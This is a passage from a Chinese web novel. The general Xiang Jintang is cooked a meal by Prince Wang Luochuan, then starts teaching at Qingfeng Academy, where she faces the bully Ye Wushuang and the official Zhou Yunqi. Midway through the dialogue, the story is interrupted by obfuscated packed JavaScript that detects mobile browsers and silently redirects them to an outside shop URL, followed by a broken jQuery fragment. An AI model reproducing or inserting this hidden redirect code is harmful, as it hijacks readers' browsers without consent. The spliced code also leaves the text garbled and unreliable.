阿曼眉头紧皱,眼神复杂地盯着王洛川,良久,才从牙缝中挤出一个字:“哦。”
说完,便失落地转身离开,那落寞的背影仿佛被抽走了所有的生气。
项锦棠则斜倚在枕头上,眼中满是感激地望着王洛川,真诚地说道:“谢谢你,真的很感谢你帮我教训了叶无霜。”
“一家人不说两家话,阿曼也是我的侄女。”王洛川一边轻声说着,一边轻轻为项锦棠捏着肩膀。
“我去给你弄些好吃的,你在这儿乖乖等着我。”
说完,王洛川便起身离开。
项锦棠不禁有些惊讶,没想到他还会做饭。她起身,跟在王洛川身后。
王洛川走进伙房,利落地穿上围裙,打开橱柜时,却愣住了。他扭头看向项锦棠,问道:“你想吃什么?”
“烧鸡。”项锦棠脱口而出。
她身处军营之中,已经许久未曾体验过那种大口吃肉的酣畅之感了。一想到回家,她满脑子都是要抱着肉尽情啃食的画面。
王洛川拿出一只已处理好的鸡,便有模有样地忙活起来。
项锦棠盯着他,眼中满是惊讶:“你身为王爷,怎会这些?”
“嗯……这得从很久以前说起了。”王洛川一边在鸡身上涂抹香料,一边轻声说道。
王洛川的童年并不幸福,与其他皇子相比,可谓天壤之别,他的母亲是个不受宠的小嫔妃。
在宫中不受宠,日子便艰难起来。因其他妃子的排挤,王洛川常常吃不饱、穿不暖,冬日大雪纷飞时,他只能紧紧裹着棉被,至于被克扣的木炭,他从未见过。
膳房送来的饭菜总是冷冰冰的,于是他经常在院子里偷偷生火,自己热一热。
久而久之,他便开始自己烧菜了。
后来,母亲走了,那个在宫中与他相依为命的人没了。
再后来,父皇也走了,整个皇宫似乎在一夕之间变得无比陌生。
而他成了王爷,生活这才开始有了转机,渐渐过上了好日子。
说话间,王洛川已把鸡放入锅中,他抬手抹了抹额头细密的汗珠,眼中满是宠溺地看向项锦棠。两人目光交汇,项锦棠突然举起双手,带着一丝撒娇的意味说道:“抱抱。”
这可是项锦棠头一回如此主动,王洛川嘴角忍不住上扬,转身往屋外的水井走去。
项锦棠微微一怔,那原本悬在空中的双手显得有些无所适从,尴尬地僵在那里。
她沉默着,只是静静地看着王洛川解下围裙,打上来一桶水,仔细地清洗双手。
洗净后,他顾不上擦干手上的水珠,猛地朝项锦棠扑过去,将她紧紧地拥在怀里。
这一刻,时间仿佛凝固,两人紧紧相拥,都舍不得松开。直到锅里冒出的香气悠悠地钻进项锦棠的鼻子。
她一下子推开王洛川,急忙跑到锅边,想打开锅盖,却被热气烫得猛地缩回手。
王洛川撇了撇嘴,小声嘟囔着:“她肯定不是因为不喜欢我才推开我的,她只是饿了!”他小跑上前,隔着布,打开了盖子。
一瞬间,腾腾热气奔涌而出,一只金黄且汁水四溢的烧鸡便呈现在项锦棠眼前。
夹起一块鸡肉,项锦棠迫不及待地吃起来。
王洛川满脸笑意地盯着她,在他看来,看着她吃饭就像一件无比幸福之事。
“皇上要你去清风学堂授课呢。”
“什么时候的事?”项锦棠吃得正香,早就把停职一事抛到九霄云外。
王洛川为项锦棠倒了一杯茶:“只是小道消息啦,皇上觉得你停职还领月钱,太便宜你了,得让你干活。”
项锦棠放下鸡腿,好不容易咽下那鲜嫩多汁的肉,她没记错的话周云起在那儿授课呢。
“真是冤家路窄。”她嘟囔着,眼中多了几丝不耐烦。
清风学堂是朝廷专为世家子弟和贵族子弟所设,当官者的子嗣乃至太子都在此就读。
里面的学生都是朝廷重点保护的对象,阿曼也在其中。虽说朝廷已允许女子入学,但授课时男女是分开的。
不过对项锦棠而言,这也有好处,如此一来,阿曼未过门的未婚夫和那些毛手毛脚的小男生就能与阿曼保持距离。
并且自己还能给阿曼上课,可得好好教导小侄女。
“我听闻,皇上这次特地开启了男女混学模式,男女同坐。”
王洛川伸手,将项锦棠嘴角的汤汁轻轻擦去。
项锦棠抬眼问道:“是只有我在的时候这样,还是以后都如此?”
“当然是以后都这样。”
“……”项锦棠沉默了,显然她高兴得太早了。
两日后,项锦棠已然休息妥当,没了前些日子的疲惫之态。
她起了个大早,简单喝了些姜汤后便登上马车。
阿曼在旁靠着项锦棠的肩膀,不知不觉睡了过去。项锦棠膝盖上放着阿曼的小背包,马车里暖融融的,还弥漫着梨花糕的清香。
不多时,马车在清风学堂门口停住。
阿曼眨着眼睛下了车,却没料到叶无霜就站在身后。叶无霜猛地推了阿曼一把,不明就里的阿曼一个踉跄,差点摔倒。
项锦棠往阿曼包里塞了几块吃的,提着小包出来,刚掀开帘子,就看到气势汹汹的叶无霜。
她站在阿曼身边,叶无霜冲着阿曼道:“我听说,我不在你可高兴了啊!”
说着扭头就要抽打阿曼。项锦棠见状,立刻跳下马车,一脚踹开叶无霜,说道:“就是高兴,你要是退学她会更高兴。”
阿曼晃了晃脑袋,凑到项锦棠身边,满脸崇拜。
叶无霜见项锦棠来了,愣住了:“你……你怎么在这儿?”
“一会儿你就知道了。”项锦棠没给她好脸色。正准备向前走时,却被周云起拦住。
“授课先生竟和学生打起来,成何体统?”周云起皱着眉头,声音不大不小,刚好能让周围路过的人听见。他言辞犀利,似乎不想轻易放过项锦棠。
项锦棠可没被吓住,她脑子一转,已有了对策:“若学堂中出现欺压、霸凌现象,我身为先生却不作为,又如何配为人师表?若都像周大人这样放任霸凌者,我朝怎能再出精英?”
“可你打了学生,难道不该赔礼道歉?”
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14215181|150946||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
周云起冷笑:“你真是粗俗,学生犯错好好说教不行吗?第一天来就给学生这么大的下马威。”
“是啊,第一天就如此,以后我们可怎么过?”
“真不知道上头怎么想的,让这种人来教我们。”
“叶无霜确实不对,也不能全怪项将军啊。”
“……”
学生们都围了过来,目光在项锦棠身上来回打量。
项锦棠长叹一口气:“先生授课,哪个没教训过学生?玉不琢不成器,学生有错,责罚之后还要给学生道歉,这不是助长歪风邪气吗?那教育还有什么意义?”
“微臣初来清风学堂,周大人便处处刁难,我实在不知哪里得罪了大人。”
本不想争辩的项锦棠被气得来了劲头,装作一副委屈地看向周云起。周云起说不过,甩袖而去。
学生们渐渐散去,项锦棠的到来并未给学堂带来丝毫改变。
她早早来到训练场,准备熟悉一下周遭环境。整个训练场规模不大不小,可瞧那些武器的磨损程度,竟全然不似有过授课痕迹。
她斜倚在一旁的柱子上默默等待,直至上课时间已过去一刻钟,她才察觉到异样。
她绕过走廊,来到学生上课的博思院。
眼前的场景映入眼帘,学生们正襟危坐,目光齐刷刷地盯着周云起,只是那眼神中明显透着不耐烦。有的学生在摔笔,有的则把书当作玩物。
有的学生把书本扔来扔去,甚至还有人将书撕开,折成花儿把玩,课堂里一片混乱。
项锦棠撑着窗边,目光紧紧锁定周云起。
感受到这道视线,周云起才慢悠悠地转过头,漫不经心地说道:“哦!这堂课我占用了,忘了告知项将军了。”
“我同意了吗?”
项锦棠潇洒地将肩前的头发撩至脑后,整个人英姿飒爽,气势不凡。
“啊?”周云起显然没料到项锦棠会如此直接地质问。
“这课之前从来都不上的……”周云起试图解释。
“我同意了吗?你就上?!”项锦棠语气强硬,眼中透着不容置疑的威严。
“今日阳光甚烈,总不能让学生们出去暴晒吧!”周云起皱着眉头说道,同时满脸狐疑地盯着项锦棠。
项锦棠二话不说,推开门走了进去,随后站到周云起所站的位置旁边,目光扫过在场的每一位学生,大声问道:“你们想不想上我的课?”
“想!”
学生们几乎是异口同声地回答,那整齐划一的声音,连他们自己都未曾料到,默契十足。
“若想,便到训练场集合。”项锦棠的声音沉稳有力。
话音刚落,学生们如潮水般蜂拥而出。
周云起见状,气得满脸通红,狠狠地将手中的书砸向地面,大声吼道:“回来!你们都给我回来!”
可那些学生没有一个理会他,依旧朝着训练场奔去。周云起急得面红耳赤,再次怒吼起来:“你们如今这般放纵,不努力学习,科考该如何是好?”
“他们可以考武科啊,还有武举考试呢。”项锦棠神色淡然,语气坚定。